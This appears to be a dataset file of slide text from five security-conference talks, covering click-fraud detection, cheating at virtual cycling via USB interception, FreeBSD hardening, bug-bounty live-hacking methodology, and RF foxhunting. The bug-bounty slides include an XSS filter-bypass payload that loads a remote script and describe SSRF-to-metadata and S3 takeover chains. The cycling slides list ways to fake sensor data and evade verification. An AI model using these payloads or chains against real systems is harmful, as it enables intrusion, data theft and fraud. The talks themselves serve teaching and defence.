text
stringlengths
100
9.93M
category
stringclasses
11 values
Click Fraud Detection using Practical Memetics Defcon 15, Aug 3-5, 2007 Broward Horne http://www.realmeme.com Overview • Advertising Click Fraud • Botnets (Agents Of Click Fraud) • S-Curve • Original Meme Theory (Dawkins) • Empirical Meme Theory (Me! Ho!) • Expanded Meme Mining Model • MySpace Example • IAFF.com Example • Meme Seepage Theory • Botnet Proof • Gaming Conjectures • Extrapolations Click Fraud - Definition From Wikipedia - “When a person, script or computer program imitates a legitimate user to generate a “charge per click” of an advertised product” Is Click Fraud relatively unknown? Poll Google Adsense Model • www.google.com/adsense • Click fraud risk Botnets • From Wikipedia- “a collection of compromised computers (“zombies”) running… under a common command-and-control infrastructure” S-Curve (Physical Model) S-Curve (Math Model) S-Curve Rate-Of-Change S-Curve Strategy Dawkins Meme Theory • Dawkins coined the term “meme” in 1976 • An idea like “I want a tattoo” • Wikipedia definition - “a unit of cultural information that propagates from one mind to another as a theoretical unit of cultural evolution” Ideosphere • The sum of all memes in circulation • The “Global Human Consciousness” • The Internet has a subset of the Ideosphere Empirical Meme Theory (Me!) • Original Meme Theory • Keywords As Proxy For A Meme • Electron Flow ( E = I x R ) (Networks) • S-Curve • Meme Miner ( Dejanews.com ) • Google Trends tool • Blogpulse.com Example: Delphi Example: Easter Bunny Example: Sex & Terrorism Meme Assumptions • Memes propagate as an S-Curve • Memes propagate to most sites but at different amplitudes and latencies Meme Miner Inadequacies • Single source • Dejanews.com indexing revised by Google • Older technology losing favor Expanded Mining Model First tested on “MySpace” meme… MySpace Meme (Dejanews) MySpace Meme (Alexa) MySpace Meme (Google) The New Model Worked… For the “MySpace” meme, so I tested it against another case, a new site with a high growth rate… “IAmFacingForeclosure.com” (IAFF.com) But the results were different… IAFF Meme (Alexa) IAFF Meme (Dejanews) IAFF Meme (Google) Meme Seepage Theory Remember our Meme assumptions? Memes propagate as an S-curve and across most sites but with varying amplitudes and latencies. If traffic increases to a primary site, then traffic to linked sites should increase proportionally (more or less) If traffic increases to a primary site, then traffic to reference sites like Google should increase proportionally… and other sites in the top 10 result list should experience a lesser but measurable increase in traffic… Primary Meme Seepage So I Experimented.. I posted a link directly to IAFF.com, to tap off a slice of IAFF.com’s traffic via meme seepage. Theoretically, a doubling of IAFF traffic should produce an equal ratio of redirected traffic to my own site, RealMeme.com But the results were wrong again… And I Experimented Again… Alexa showed IAFF.com with a 25% increase in traffic but my site experienced no concurrent increase. I was surprised and I posted the results to IAFF.com. And a few days later, I did experience an anomalous increase in traffic but it didn’t match IAFF.com’s Alexa traffic delta. Here’s what hit my site… Botnet Proof • Too many simultaneous operating systems per IP. • The traffic is too dense and changeover too abrupt. • Too many 2-page hits (my traffic is 90% 1-page) • The page hits don't follow a human click flow. • All hits are bookmarks, no blog entry points • Most bookmarks are older The following page hits are logs from my website. It’s clear that they were artifically produced… Botnet Logs (Same IP) Botnet Logs (Density) Botnet Logs (Pages) Botnet Logs (Entry Points) Botnet Epiphany Okay, I’m not the smartest guy in the world but I eventually figured out that this new traffic was generated by bots. But why? So I tried another experiment… Secondary Seepage Failure I have a confession. My website was designed specifically for Google rankings and it’s been surprisingly successful (my Defcon 16 presentation! Ho!) So I decided… to induce a secondary seepage from IAFF.com to my site via Google… Binding I bound my site to IAFF.com by posting an IAFF.com analysis which was indexed by Google. At one point, I was the #7 Google result for “IAmFacingForeclosure.com” So now I’m getting a slice of traffic directly from IAFF.com AND from Google’s search results for IAFF.com Binding Results Once again, I saw major anomalies between IAFF.com’s claimed traffic and the induced seepage to my site during “a major television event”. Can I prove fraud? No. But I don’t need to. I’m not Google or a Google advertiser. My Theory The botnets are mimicking meme seepage by generating traffic to linked secondary sites. At first, I couldn’t figure out why. But as I worked out a methodology to expose botnet manipulation, I realized that LACK OF SEEPAGE is a major red flag. After all, that’s how I found these anomalies to begin with. Gaming Google Gaming Alexa Gaming My Miner Model Meme Troubleshooting Table Humans versus Bots Needed: a pervasive, immutable quality which is detectable in humans but which bots can never duplicate. What is it? Humans actually buy advertised products. Conclusion • Click fraud is more pervasive than reported • It can be detected with memetic analysis… • Botnets are a serious problem • It will eventually become almost impossible to detect sophisticated bots. • What will Google do?
pdf
Cheating in eSports How to cheat at virtual cycling using USB hacks Brad Dixon, Carve Systems Photo by Markus Spiske on Unsplash Sweaty eSports EGVsOG CVRWorldCup Virtual Cycling is Part of Cycling Cycling: Over 100 Years of Cheating Innovation 1903, 1904: Hippolyte Aucouturier 1904: Maurice Garin 1947: Jean Robic Will people cheat at virtual cycling, too? "This is a sport with literally hundreds of dollars on the line, and dozens of fans...the stakes are medium!" Marty Hass -- Tour de Pharmacy, 2017, HBO No… Marty Hass is not a real person. Don’t you recognize Jeff Goldblum? It is a silly mockumentary. Have a laugh. Bike Radar: Best Cycling Smart Trainers - 10-Way Mega-Test Virtual Cycling: How does this work? • Just like any MMPOG plus • Sensors to measure real world performance • App-controlled resistance Speed Estimation • Course terrain model • Power • Rider mass • Drafting model? The Easy Way to Cheat at Virtual Cycling • Lighter riders go faster • Shorter riders draft better …there are limits! given the same power… 0 5 10 15 20 25 ZWIFT e-Racing Performance Limits (men, watts/kg) 20 min 5 min 1 min 5 sec Vulnerable Sensor Network HRM Cadence Power ANT+ USB Stick ANT+ RF @ 2457 Mhz GFSK Optional AES Cheat the Hard Way with USBQ HRM Cadence Power ANT+ USB Stick USB Host Zwift App Zwift API ANT+ RF @ 2457 Mhz GFSK Optional AES USB USBQ Hack’in USB ain’t new • Facedancer: excellent! • Travis Goodspeed (@travisgoodspeed) • Sergey Bratus (@sergeybratus) • Kate Temkin (@ktemkin) • Dominic Spill (@dominicgs) • Michael Ossmann (@michaelossmann) • Hardware Village USB Links: Andrey Konovalov • USB Reverse Engineering: Down the Rabbit Hole: Grant “devalias” Glenn Just want to observe USB? • Requires Linux and the usbmon module. • Capture with tcpdump –i usbmon0 … • Wireshark is great! usbip + Wireshark tcpdump + Wireshark • Linux usbip module can export USB devices over TCP. • Capture TCP, observe in Wireshark. Stuff Brad Knows • Emulate USB host or device functions at the lowest level. • Behave badly and deviate from the expectations of USB drivers. • Use GoodFET-based board and Facedancer! USB Device Drivers and Kernel Code JAN 2019 EDITION USBiquitous by Benoît Camredon • USB 2.0 MITM using loadable kernel module • Beaglebone Black • Python 2 userspace • usbq_core • usbq_userland plugin plugin plugin plugin plugin USBQ Architecture ANT+ USB Stick USB Host USBQ USB Proxy Device • Uses USBiquitous kernel module (now GPLv2). • New userspace Python application for inspecting and mangling USB data. UDP Stuff Brad Knows • Emulate USB host or device functions at the lowest level. • Behave badly and deviate from the expectations of USB drivers. • Consider: GreatFET One and Facedancer! Applications Using USB Peripherals USB Device Drivers and Kernel Code • Inspect and mangle application-specific payloads transported across a USB bus. • Use commodity hardware for USB hacking. • Consider: USBQ USBQ + Hardware AUG 2019 EDITION USBQ Do Device USB Packet Do Host USB Packet Tick DO Host/Device Packet 1. Wait for a packet 2. Get the packet 3. Decode the packet 4. Log the packet 5. Modify the packet 6. Encode the packet 7. Send the packet out USBQ Main Loop USBQ Plugins – Built with Pluggy • Defined extension points for plugins to use. • Plugins can stack and modify the results of plugins lower- down the stack. LIFO-call order. • Plugins can be distributed as independent Python packages. included: • Get and Send USB packets using the proxy kernel module • Decode/Encode packets to a more useful representation • Implement convenience features for development plugin plugin plugin plugin plugin USBQ Get Hack’in • Inspect PCAP • Modify plugins on-the-fly • IPython console What is next for USBQ? • Release: Visit usbq.org • Need help with / working on: • USBIP support: Native Linux kernel system for remote USB • Device emulation with Function FS • Replace USBiquitous kernel module? Need Linux kernel USBIP + Multipoint USB Highspeed Dual-Role Controller (MUSB) • GreatFET One: Looks awesome… need to fiddle with it! • More plugins and tools Photo by Simon Connellan on Unsplash L A N C E E eSports Leet Automatic Network Cheating Enhancement EPO Mode Sustain performance with less effort and more guilt! •Boost your power with a multiplier •Make the world flat Tour de Pharmacy Slacker Mode Why even risk sweating a little? •Automatic pedal POWER •Cruise control with random jitter •Terrain-sensitive heart rate and cadence data generation ELANCE Plugins for USBQ • Decode ANT+ USB Payload. • Decode three different ANT+ Payload types: fitness, HRM, and cadence. USBQ Host, Device, or Management USB Host or Device ANT+ ANT+ Profile Pages USBQ Cheat the Hard Way with USBQ HRM Cadence Power ANT+ USB Stick USB Host Zwift App Zwift API ANT+ RF @ 2457 Mhz GFSK Optional AES • Modify power • Modify heart rate • Modify cadence • Set grade to “flat” Photo by Simon Connellan on Unsplash Could it work? 1.Workouts 2.Online racing 3.Live event racing Workouts • Yeah, go ahead and cheat yourself. • You’ll need to use sensible limits. Online Racing* • Plausible to stretch a mediocre rider into a competitor. • Use multiple accounts to establish the actual performance limits for verification. • Build an IRL riding record and a public Strava profile. • Verification cheats: • 2nd power monitor / IRL power monitor • Either real height + weight or fake videos • Bribe / dodge / fake 3rd party verification lab * Never actually tried to cheat in an online race nor applied the techniques listed above. Live Event Racing* • This is harder but live events are rare. • High-stakes events use equipment provided by race. • Probably can’t fake weigh-in. • Infiltrate a NSA COTTONMOUTH-I style hacked cable? • Working on some other techniques, too. CVRWorldCup * Never tried this, either. There is no way anyone would believe I’m an elite cyclist. Not even for a second. Wrap up 1. Overall system not designed for high-integrity competition. 2. Insecure sensor networks and untrusted hardware are not a good foundation for security. 3. Electronics and software are part of cycling. New domains for cheaters to exploit. Photo by Troy Oldham on Unsplash Winners never cheat. Cheaters never win. Hackers sometimes cheat for fun. edope.bike
pdf
BSD Security Fundamentals Sean Lewis [email protected] http://www.subterrain.net Scope and Scale • Focus: FreeBSD - enterprise hardware support and most 'mainstream' of the open source BSD trees. • Security refresher and some new and interesting BSD security information. • Emphasis on host-based security, one of the first layers of the security 'onion' complimented with network-level security [defense in-depth]. BSD – making inroads in the Enterprise market • BSD and systems w/ BSD frameworks being deployed in the enterprise and with the end user. • Nokia firewalls - run FireWall-1 on IPSO [based on FreeBSD 3.2] • Juniper's Internet backbone router products, designed for high-growth, high-capacity networks, use code from FreeBSD. • Other commercial BSD implementors include Yahoo! and LinkExchange The Basics • If modifying an existing system, especially in a production environment, make backups! • Unnecessary services - go through /etc/inetd.conf and rc.conf; disable what you don't need [inetd.conf now shipped with everything off by default] [rc.conf - disable sendmail, SMTP and submission ports 25/587] • Work with the latest version of the OS - tracking STABLE is the best idea Encrypted Communications • Disable telnet (default in recent FreeBSD releases) and enable SSH. OpenSSH is included in the FreeBSD base system. • Upgrade all your systems to OpenSSH 3.4p1 and use SSH version 2 with privilege separation. • Enable the sftp subsystem built into the SSHv2 protocol rather than a standard ftpd implementation if possible. • Set up public key authentication with SSH [DSA keys!] to prevent password transmission, encrypted or otherwise! File System Lockdown • Partition out as much as possible; /, /usr, /var, /tmp at a minimum. /home and /usr/local should be considered as well. • Mount non /usr or / [for /sbin] filesystems with the 'nosuid' argument, especially /tmp. • Search for and remove suid bits off of non- used binaries [especially uucp - setgid] • Use the chflags to set variables such as sappnd on log files, schg on system binaries, etc. • [Explain different securelevel aware file variables here - sappnd, schg] Kernel Securelevels • Kernel securelevels allow variable security level increases on the fly. • Levels range from -1 -> 3, -1 and 0 are referred to as 'insecure mode'. • Securelevels can only be raised, not lowered, once the system is in multi- user mode. Kernel Securelevels [cont.] • Securelevel 1 - sappnd and schg flags can not be disabled - LKMs may not be loaded or unloaded. • Securelevel 2 - Securelevel 1 + no writing to disks except for mount(2). Time changes clamped to +/- 1 second. • Securelevel 3 - Securelevel 2 + IPFW rules cannot be modified. • Schg flag on files in /, /bin, /usr/bin, /sbin, /usr/sbin/ for maximum effectiveness. Sysctl and rc.conf variables • [sysctl] net.inet.tcp.blackhole=2 and net.inet.udp.blackhole=1 - don't generate RSTs on connection attempts to ports with no socket listening [TCP] and doesn't generate an ICMP port unreachable message on a port with no socket listening [UDP]. This breaks traceroute. • [rc.conf] kern_securelevel_enable="YES", kern_securelevel="X" - enable kernel securelevel • [rc.conf] icmp_drop_redirect="YES" - drop ICMP redirect packets. you don't want these. • [rc.conf] tcp_drop_synfin="YES" - drop packets with SYN+FIN bits set. breaks RFC, do it anyway! SYN+FIN scans are frequent. • [rc.conf] clear_tmp_enable="YES" - wipe /tmp on boot. Secure your services • Start potentially dangerous programs such as bind in a chroot'd environment. Many popular services now support chroot() jail functionality. [named, sshd, httpd] • log_in_vain="YES" in rc.conf - show connections to non-listening tcp/udp ports - goes well with robust packet filtering ruleset. • Use packet filtering software such as IPFW or ipfilter to restrict access to services, even if the machine sits behind a corporate firewall [defense in depth!] Serving files with ftpd • FreeBSD powers large FTP software sites like ftp.cdrom.com - securely! • Put individual users in the /etc/ftpchroot file to restrict them to their $HOME. • Start ftpd with -l -l to enable extended logging. • If running an anonymous archive, use ftpd -A [only allow anonymous connections] and -r [read-only mode for the server] Logging • Start syslogd with the '-ss' flags to prevent the daemon from opening 514/udp. • Centralize syslog to a central server in addition to local logging: *.* @remotehost.org • Add /var/log/ftpd for for ftp.* • Add /var/log/security for security.* [IPFW logs on security facility; allows for parsing of ipfw logs via 'ipfw add deny log..' command. Nifty kernel tricks • www.trojanproof.org trojan detection kernel patch [OpenBSD/FreeBSD] - alerts based on md5 variations on files executed on your system; works well with Tripwire/AIDE. • cerber.sf.net - real time interception and logging of potentially dangerous system calls; execve(), ptrace(), setuid(), etc. all configurable via sysctl commands. excellent logging. [think entercept functionality for BSD] • Disable BPF in your kernel - uncomment 'pseudo-device bpf [n]' in your kernel. This prevents an attacker from sniffing traffic coming off your connection. Keeping people out • Use TCP wrappers [/etc/hosts.allow] to allow / deny access to certain TCP services. FTP / SSH / other potentially non 'public' services [not as useful = HTTP and SMTP]. • Use AllowUsers / AllowGroups SSH configuration options to restrict SSH usage to certain users and groups. This works well along with TCP wrapper usage and privilege separation. • Give users who only require ftp access the /sbin/nologin shell to prevent access to a 'real' shell. Checking your system • /usr/ports/security/nmap - port scan yourself to check for strange services. • /usr/ports/security/whisker - audit your web server for potential vulnerabilities • /usr/ports/security/tripwire-1.31 - academic source release of tripwire, file integrity assurance. • /usr/ports/security/snort - lightweight NIDS implementation, http://www.snort.org. Other tips and tricks • Use ntpdate to synch your clock with a time server [e.g. ntp.nasa.gov]. Crontab it routinely to keep it reliable. • In /etc/ttys change the 'secure' flag to 'insecure' on each local TTY to prevent direct root login; login should always be done through a user account and then 'su' to root. • Enable sudo for restricting the root password on your system; grant certain users root privileges for certain commands. • Enable 'pseudo-device snp 4' and use the 'watch' command to non-interactively attach yourself to a user's tty. Nifty :) Links to related material • This presentation: http://www.subterrain.net/presentations/ • FreeBSD security advisories and info: http://www.freebsd.org/security/ • Free FreeBSD stuff courtesy of: FREEBSDMALL.COM. Thanks Murray!
pdf
Live Hacking like a MVH – 
 A walkthrough on methodology and strategies to win big Frans Rosén – @fransrosen Frans Rosén – @fransrosen Frans Rosén @fransrosen Security Advisor at Detectify #6 on HackerOne leaderboard/all-time Blogs at labs.detectify.com Frans Rosén – @fransrosen Frans Rosén @fransrosen H1-702 2017: Winner of MVH in Vegas! (Uber, Salesforce, Zenefits)
 H1-514 2018: Winner of MVH in Montreal! (Shopify)
 H1-415 2018: Winner Best team @teamsweden in San Francisco (Oath) H1-212 2018: Winner Earning the most $$$ @unitedstatesofsweden in New York (Oath) H1-212 2018: Winner Highest reputation @unitedstatesofsweden in New York (Oath) H1-702 2018: Winner Best bug @teamsweden in Vegas (Uber) H1-212 2018: Winner Best bug @unitedstatesofsweden in New York (Oath)
 H1-202 2018: Winner Best bug in Washington (Mapbox)
 H1-3120 2018: Winner Best bug in Amsterdam (Dropbox) H1-514 2018: Winner Highest reputation in Montreal (Shopify) Frans Rosén – @fransrosen Frans Rosén @fransrosen H1-702 2017: Winner of MVH in Vegas! (Uber, Salesforce, Zenefits)
 H1-514 2018: Winner of MVH in Montreal! (Shopify)
 H1-415 2018: Winner Best team @teamsweden in San Francisco (Oath) H1-212 2018: Winner Earning the most $$$ @unitedstatesofsweden in New York (Oath) H1-212 2018: Winner Highest reputation @unitedstatesofsweden in New York (Oath) H1-702 2018: Winner Best bug @teamsweden in Vegas (Uber) H1-212 2018: Winner Best bug @unitedstatesofsweden in New York (Oath)
 H1-202 2018: Winner Best bug in Washington (Mapbox)
 H1-3120 2018: Winner Best bug in Amsterdam (Dropbox) H1-514 2018: Winner Highest reputation in Montreal (Shopify) Frans Rosén – @fransrosen What is Live Hacking? Frans Rosén – @fransrosen 30 second elevator pitch • A "hacker-meets-dev face-to-face" bug bounty with special targets • First by HackerOne in 2016 in Vegas • More companies runs these nowadays.
 H1, Bugcrowd, Facebook/Google, Visma. Smaller companies run their own also Frans Rosén – @fransrosen (Inofficial first event in 2015) Me and Justin Calmus, then CSO at Zenefits drinking Old fashioneds in Vegas "We should bring some hackers together and hack" Frans Rosén – @fransrosen (Inofficial first event in 2015) Me and Justin Calmus, then CSO at Zenefits drinking Old fashioneds in Vegas "We should bring some hackers together and hack" Frans Rosén – @fransrosen (Inofficial first event in 2015) Night after, 7 hackers in a suite at MGM Frans Rosén – @fransrosen $101.000 paid that night! I went home with $51.000 after 7 hours of hacking Frans Rosén – @fransrosen A quick step by step Frans Rosén – @fransrosen 1. Hackers gets an intro and a walkthrough • Hangout, slides, presented by the company itself • Ability to ask questions Frans Rosén – @fransrosen 1. Hackers gets an intro and a walkthrough • Hangout, slides, presented by the company itself • Ability to ask questions 2. Often a bigger scope • Often *.company.com, *.company.dev, infrastructure, IPs • Open source repos by the company • Enterprise access to products • One time social engineering(!) Frans Rosén – @fransrosen 3. Hackers gets some time do do recon • This is a VERY important part • One time 48 hours. Hard! • Slack instance with the company! Frans Rosén – @fransrosen 3. Hackers gets some time do do recon • This is a VERY important part • One time 48 hours. Hard! • Slack instance with the company! 4. Some allow pre-submissions • Awesome! Less preasure on final day • Faster payouts on event day Frans Rosén – @fransrosen 5. Arriving to event, meeting the company • At HQ or hacking event (Defcon, Black Hat, Nullcon etc) • Discussions here == PRICELESS!! • Valid bugs because I could discuss with the company - This domain, what does it do?
 - Is this app supposed to work like this?
 - I noticed this weird behaviour, I think I can do this, what do you think? Frans Rosén – @fransrosen 6. Day of event. Wake up early, shower and HACK • If no pre-submissions, get reports in! • Hacking day is special, sit in teams, collaboration(!) • Found many bugs on the actual day! Frans Rosén – @fransrosen Some events 
 without pre-submissions 
 awards "first X valid bugs" Frans Rosén – @fransrosen Enter bountyplz! Frans Rosén – @fransrosen github.com/fransr/bountyplz Frans Rosén – @fransrosen github.com/fransr/bountyplz Frans Rosén – @fransrosen github.com/fransr/bountyplz Frans Rosén – @fransrosen github.com/fransr/bountyplz Frans Rosén – @fransrosen github.com/fransr/bountyplz Upcoming version, batch-mode • 24 reports sent in 4 seconds Frans Rosén – @fransrosen 7. Show & Tell • Best part of event • Customer picks bugs to be presented • Amazing! Other hacker’s bugs in a cool micro-talk style (5min max) Frans Rosén – @fransrosen Strategy/Methodology Frans Rosén – @fransrosen Strategy/Methodology The most interesting part. How to approach targets? This is my experience, other might do differently! Frans Rosén – @fransrosen Good overview of scope Make sure you have/know: • credentials needed • what domains are included, subdomains/acquisitions • what NOT to focus on (out-of-scope) • upgrades to enterprise accounts if promised Frans Rosén – @fransrosen Teaming Frans Rosén – @fransrosen Teaming! Seriously, this is EXTREMELY VALUABLE I’ve made more money hacking as a team Frans Rosén – @fransrosen Teaming! Team up with someone that: • put in "similar" effort to you • might know stuff you don't • helps you cover more target surface • you can communicate with and brainstorm Frans Rosén – @fransrosen Teaming! Team up with someone that: • put in "similar" effort to you • might know stuff you don't • helps you cover more target surface • you can communicate with and brainstorm Keep team small, 2-4. If 3 or more, effort will differ, allow to split differently For 2 people, 50% each is always the simplest. Frans Rosén – @fransrosen What do focus on? Frans Rosén – @fransrosen High threshold or labour intensive testing • Best bugs!
 Frans Rosén – @fransrosen High threshold or labour intensive testing • Best bugs!
 Example: trying all integrations from a list of 80.
 Read docs on how each worked
 Found a $20k bug due to one (1!!!) faulty implementation! Frans Rosén – @fransrosen How SDK talks with API • Desktop client • Web (API-paths in JS-files) • PHP/Java/Golang-SDKs • npm/composer/yarn
 Frans Rosén – @fransrosen How SDK talks with API • Desktop client • Web (API-paths in JS-files) • PHP/Java/Golang-SDKs • npm/composer/yarn Legacy versions of APIs? • Older versions working? • Are there docs? Web-archive?
 Frans Rosén – @fransrosen Integrations with 3rd parties (!) • Have integrations? (Slack, Trello, Zapier etc) • Allow integrations? (OAuth etc) • Public repos with examples?
 Frans Rosén – @fransrosen Integrations with 3rd parties (!) • Have integrations? (Slack, Trello, Zapier etc) • Allow integrations? (OAuth etc) • Public repos with examples?
 Company's Github repos • What software they use (Forks) • Synched with original repo? (No: vulns by diffing versions?)
 Frans Rosén – @fransrosen Github • Internal domains? Search in Gists, Github, Google • "Internal indicators", search everywhere • Domains/AWS/GCP-tools in org: "org:xxx amazonaws" etc Frans Rosén – @fransrosen Github • Internal domains? Search in Gists, Github, Google • "Internal indicators", search everywhere • Domains/AWS/GCP-tools in org: "org:xxx amazonaws" etc • Any users in organization? • Extract contributors from repos • Company name in users’ repos: "user:xxx company-name" • Search Github Issues, funky stuff by accident! • Non-forked repos in organization ‣ Package dependencies from employees? ‣ Still hired by the company? If not, bad Frans Rosén – @fransrosen Whitebox testing on company's FOSS • Bugs might mean bugs in prod! • Might mean company made other companies vulnerable 
 (really bad PR for the company) Frans Rosén – @fransrosen Whitebox testing on company's FOSS • Bugs might mean bugs in prod! • Might mean company made other companies vulnerable 
 (really bad PR for the company) LEGACY • Content from web-archive, read old documentation(!!!) • URLs from web-archive's CDX-api, commoncrawl etc. • Test all URLs. Distinguish status-codes / bytes received (Wfuzz) • Anything interesting? Filter file-types, deduplicate Frans Rosén – @fransrosen Regular recon There is soooo much here we can't cover it all. These are general things • DNS, Subbrute, sublist3r etc. So many tools! ‣ Customized subbrute with 3rd party data ‣ Generate DNS-wordlist based on findings • Existing routes from JS-files, Burp History • postMessage-tracker (logs all listener functions) • Wfuzz target (VPN with switchable IP if blocked) Frans Rosén – @fransrosen Regular recon There is soooo much here we can't cover it all. These are general things • DNS, Subbrute, sublist3r etc. So many tools! ‣ Customized subbrute with 3rd party data ‣ Generate DNS-wordlist based on findings • Existing routes from JS-files, Burp History • postMessage-tracker (logs all listener functions) • Wfuzz target (VPN with switchable IP if blocked) Best protip: Focus on BORING/HARD STUFF, other hackers won’t Frans Rosén – @fransrosen Notes While you hack. KISS! • Dir for target, TXT-file always open • Comments (snippets / indicators / urls) • Super helpful. Chaining bugs!
 - If an Open-Redirect, we can make a chain • Test-code, SDKs, screenshots in dir • Valid vulns in one place, separate from "interesting behaviour" Frans Rosén – @fransrosen Notes • On event, team up sharing "interesting behaviour" things • Burp history is golden, save it! Search alot! 
 Found bugs by searching: Frans Rosén – @fransrosen SSRF-testing server • ONLY reachable by internal network (Both ipv4/ipv6) • Virtual host / kubernetes node is bad, due to requirement of Host-header.
 Not all SSRF send proper Host-header 
 (HTTP/1.0, binding external DNS-host to internal IP etc)
 • Different files, depends on SSRF:
 MP3, ICS, XML, TXT, HTML, PNG, JPG, SVG etc.
 • If internal hosts can be reached without scanning internal network.
 One company had flags in files, simple to prove you could access. Frans Rosén – @fransrosen SSRF-testing server Should be an open source project
 Anyone up for it? Frans Rosén – @fransrosen Frans Rosén – @fransrosen Show & Tell! Frans Rosén – @fransrosen Unscoped JWT-token exposed in Squid proxy-error Frans Rosén – @fransrosen On-Premise/SaaS app Frans Rosén – @fransrosen Did not like internal requests Frans Rosén – @fransrosen But we see our own request headers Frans Rosén – @fransrosen And what about IPv6? Frans Rosén – @fransrosen Wow, a LOT more headers Frans Rosén – @fransrosen And here’s a JWT? JWT Frans Rosén – @fransrosen Nothing in the JWT said anything about my instance Frans Rosén – @fransrosen Sent a report Frans Rosén – @fransrosen Sent a Slack-DM to the company and asked Frans Rosén – @fransrosen Frans Rosén – @fransrosen Frans Rosén – @fransrosen ? Frans Rosén – @fransrosen JWT-token could access everyone Frans Rosén – @fransrosen Fix! Unique ID instead of admin Frans Rosén – @fransrosen Frans Rosén – @fransrosen Second order RCE 4 hours later Frans Rosén – @fransrosen Burp Collaborator payload gave a hit! Frans Rosén – @fransrosen Burp Collaborator payload gave a hit! WTH?? Frans Rosén – @fransrosen Let’s trigger "a few" Frans Rosén – @fransrosen Burp Intruder Frans Rosén – @fransrosen Header Frans Rosén – @fransrosen Header Frans Rosén – @fransrosen Header Frans Rosén – @fransrosen Header Frans Rosén – @fransrosen Header Frans Rosén – @fransrosen XSS on sandboxed domain
 stealing data from privileged domain Frans Rosén – @fransrosen Document-service ACME.COM Create&new&doc Frans Rosén – @fransrosen Document-service ACME.COM Create&new&doc usersandbox.com postMessage Frans Rosén – @fransrosen Document-service ACME.COM Create&new&doc usersandbox.com postMessage {"document":"AAA…"} Frans Rosén – @fransrosen XSS in the sandbox usersandbox.com Frans Rosén – @fransrosen Chrome XSS auditor bypass </script>
 <script>
 x=document.createElement('script');
 x.src=atob('MY-URL-BASE64-ENCODED');
 document.body.appendChild(x)-'%0d',({//# Frans Rosén – @fransrosen User opens link from sandbox usersandbox.com ACME.COM Create&new&doc Frans Rosén – @fransrosen User uploads doc, iframe opens usersandbox.com ACME.COM Create&new&doc usersandbox.com Frans Rosén – @fransrosen Hijack iframe, due to Same-Origin Policy usersandbox.com ACME.COM Create&new&doc usersandbox.com Frans Rosén – @fransrosen Uploads doc, postMessage usersandbox.com ACME.COM usersandbox.com Frans Rosén – @fransrosen Iframe leaks data to attacker usersandbox.com ACME.COM usersandbox.com Frans Rosén – @fransrosen We stole the document! usersandbox.com ACME.COM usersandbox.com Frans Rosén – @fransrosen We stole the document! usersandbox.com ACME.COM usersandbox.com Frans Rosén – @fransrosen DNS-hijack leading to RCE Frans Rosén – @fransrosen DNS-hijack on internal.company.com! Frans Rosén – @fransrosen Not a new thing, watch my talk from Secfest 2017 Frans Rosén – @fransrosen DNS-hijack on internal.company.com! Awesome, what now? Frans Rosén – @fransrosen Testing tool, only allowed their own subdomains Frans Rosén – @fransrosen Testing tool, only allowed their own subdomains Frans Rosén – @fransrosen Let’s create a subdomain to metadata Frans Rosén – @fransrosen Let’s create a subdomain to metadata Frans Rosén – @fransrosen IPv6 FTW! Frans Rosén – @fransrosen BOOM! Frans Rosén – @fransrosen Asking to go deeper Frans Rosén – @fransrosen Asking to go deeper Frans Rosén – @fransrosen Asking to go deeper Nothing. Creds are limited :( Frans Rosén – @fransrosen User-data Frans Rosén – @fransrosen User-data S3-bucket Frans Rosén – @fransrosen And yeeees! Full read/write access to S3-bucket Frans Rosén – @fransrosen Files in bucket used in deploy-script Frans Rosén – @fransrosen Best bug of the event Frans Rosén – @fransrosen Final words 1. Use the time before 2. Consuming tasks no one bothers 3. Move around, but if interesting, be persistent! 4. Work as a team, it’s amazing. Thank you!
pdf
Practical Foxhunting 101 Adam Wirth - SimonJ @SimonJ_DC Overview ‣ About me ‣ About Foxhunting ‣ Equipment Overview & Selection ‣ Preparation ‣ Techniques 2 Who Am I? ‣ More than 15 years professional experience as a software & systems engineer ‣ Most of my career has been spent working on wireless communications & emitter geolocation systems ‣ Last year’s winner of the Hide & Seek and Foxhunt events in the Wireless Pentathlon 3 What is Foxhunting? ‣ Finding the physical location of wireless emitters and/or their users, by measuring received power from different locations ‣ Foxhunting is between the "last mile" and the “last feet”; for greater or lesser distances, other techniques are more appropriate ‣ Wet-work ninjas finding the correct bedroom in the house of the South American populist government official ‣ Tracking the Corporate Exec whose iPhone you've trojaned into an access point, as part of a Red Team penetration test ‣ DEFCON 22 Wireless CTF ‣ Techniques are applicable to all RF emitters, like mobiles phones, WiFi APs, heart monitors, etc. 4 What Equipment’s Involved? ‣ Antennas ‣ Omnidirectional and directional, for different purposes ‣ Radios ‣ Capable of receiving the signal-of-interest ‣ Software-defined radios are finally becoming affordable ‣ Visualization Software ‣ Most important feature is viewing received power over time 5 Gear Selection: Antennas 6 Photo courtesy of NASA Aperture Versus Gain ‣ As a rule, the more sensitive the antenna, the more focused (directional) its reception pattern ‣ Too much gain can be a bad thing ‣ High gain requires accurate pointing ‣ Power curve follows the Inverse-Square Law ‣ Unless you can attenuate your gain, you lose range discrimination when you’re close to an emitter 7 Omnidirectional Antennas ‣ Typically have a toroidal radiation pattern ‣ Gain varies inversely with z-axis directionality ‣ For foxhunting, high gain is good ‣ Provides greater detection distance ‣ Allows some degree of attenuation by varying orientation 8 Directional Antennas ‣ There are only two good choices, based on availability: ‣ Yagi: High gain, narrow aperture, narrow bandwidth ‣ Panel: Refers to several varieties of antennas that are flat perpendicular to their boresight, therefore performance varies ‣ Log-periodic antennas are also available, but are less common ‣ If you’re on a budget, it’s easy to make your own Cantenna or WokFi ‣ Choose your antenna based on performance and form factor 9 Directional Antenna Pattern Beware of back lobes & side lobes when hunting 10 Multi-antenna Arrays ‣ Generally proprietary (Read: expensive) ‣ Require custom software ‣ Tricky to configure and use correctly ‣ But awesome when you have one! ‣ Challenge: Create a HackRF-based DF array 11 Gear Selection: Radios 12 Cost Versus Performance ‣ RF equipment can get expensive quickly ‣ Broadband radios and software-defined radios are more expensive than their application- specific counterparts, but are more flexible ‣ Low-cost SDR is starting to become a reality ‣ WiFi radios are particularly inexpensive; perfect for beginners: Alfa 1, Alfa N & TL-WN722N 13 Variable Attenuators ‣ Used to reduce the strength of the received signal ‣ Allow you to use a very high-gain antenna, even at close ranges ‣ Not strictly necessary, but add versatility ‣ Many types are available, but they usually aren’t cheap; check eBay ‣ Old-fashioned variable attenuator: rotate your antenna 14 Signal Displays 15 Power Spectral Display ‣ Helps locate your target in the RF spectrum ‣ Not always needed, if you have other ways of tuning 16 Power/Time Domain ‣ Used to track your target over time ‣ Foxhunting tool of choice 17 Spectrogram ‣ AKA Cumulative Spectral Decay / Waterfall ‣ PSD & PTD combined 